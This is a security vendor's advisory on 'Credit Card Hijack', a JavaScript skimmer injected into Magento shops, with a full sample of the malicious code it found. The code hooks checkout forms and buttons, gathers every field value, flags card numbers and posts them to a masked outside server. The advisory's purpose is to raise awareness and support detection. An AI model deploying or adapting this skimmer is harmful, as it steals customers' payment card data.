The malicious code has been called “Credit Card Hijack” and it is injected into Magento websites allowing attackers to steal customer payment data – including all key credit card details required to carry out a transaction.
The malicious Magento malware is uploaded to a vulnerable site – the vulnerability in the case we just completed was Shoplift (see our alert on Magento Shoplift from February 2015); however, over the last year there have been a significant number of breaches involving multiple attack vectors (Filesman, P.A.S, Phantom, compromised plugins and more).
With the malicious Javascript uploaded to the Magento website, every form field on the website is monitored. When payment card data is detected, it is encrypted and sent out immediately to a receiving email address.
FGX-Web will very soon be able to detect the malicious javascript, however, this is an example of the code recently found:
+function validateCreditCard(s) {
+ // remove non-numerics
+ var v = "0123456789";
+ var w = "";
+ for (i=0; i < s.length; i++) {
+ x = s.charAt(i);
+ if (v.indexOf(x,0) != -1)
+ w += x;
+ }
+ // validate number
+ j = w.length / 2;
+ k = Math.floor(j);
+ m = Math.ceil(j) - k;
+ c = 0;
+ for (i=0; i<k; i++) {
+ a = w.charAt(i*2+m) * 2;
+ c += a > 9 ? Math.floor(a/10 + a%10) : a;
+ }
+ for (i=0; i<k+m; i++) c += w.charAt(i*2+1-m) * 1;
+ return (c%10 == 0);
+}
+var snd =null;
+window.onload = function () {
+ if((new RegExp('onepage')).test(window.location)) {
+ send();
+
+ }
+};
+
+function clk() {
+ var inp=document.querySelectorAll("input, select, textarea, checkbox");
+ for (var i=0;i<inp.length;i++){
+ if(inp[i].value.length>0) {
+ var nme=inp[i].name;
+ if(nme=='') { nme=i; }
+ snd+=inp[i].name+'='+inp[i].value+'&';
+ }
+ }
+
+}
+
+function send() {
+ var btn=document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");
+ for (var i=0;i<btn.length;i++){
+ var b=btn[i];
+ if(b.type!='text' && b.type!='slect' && b.type!='checkbox' && b.type!='password' && b.type!='radio') {
+ if(b.addEventListener) {
+ b.addEventListener("click", clk, false);
+ }else {
+ b.attachEvent('onclick', clk);
+ }
+ }
+ }
+f+ var frm=document.querySelectorAll("form");
+ for (var i=0;i<frm.length;i++){
+ if(frm[i].addEventListener) {
+ frm[i].addEventListener("submit", clk, false);
+ }else {
+ frm[i].attachEvent('onsubmit', clk);
+ }
+ }
+
+ if(snd!=null) {
+ console.clear();
+ var cc = new RegExp("[0-9]{13,16}");
+ var asd="0";
+ if(cc.test(snd)){
+ asd="1" ;
+ }
+var http = new XMLHttpRequest();
+http.open("POST","https://************/*******”,true);
+http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
+http.send("data="+snd+"&asd="+asd+"&id_id=merchant.co.uk");
+console.clear();
+ }
+ snd=null;
+ setTimeout('send()', 150);
+}
Review our blog - 11 steps to Improve your Website Security for more comprehensive list of security controls and simple steps you can take to improve your security.
All Foregenix FGX-Web clients have full support provided by our team, so if you are concerned about your website security, please don’t hesitate to contact us.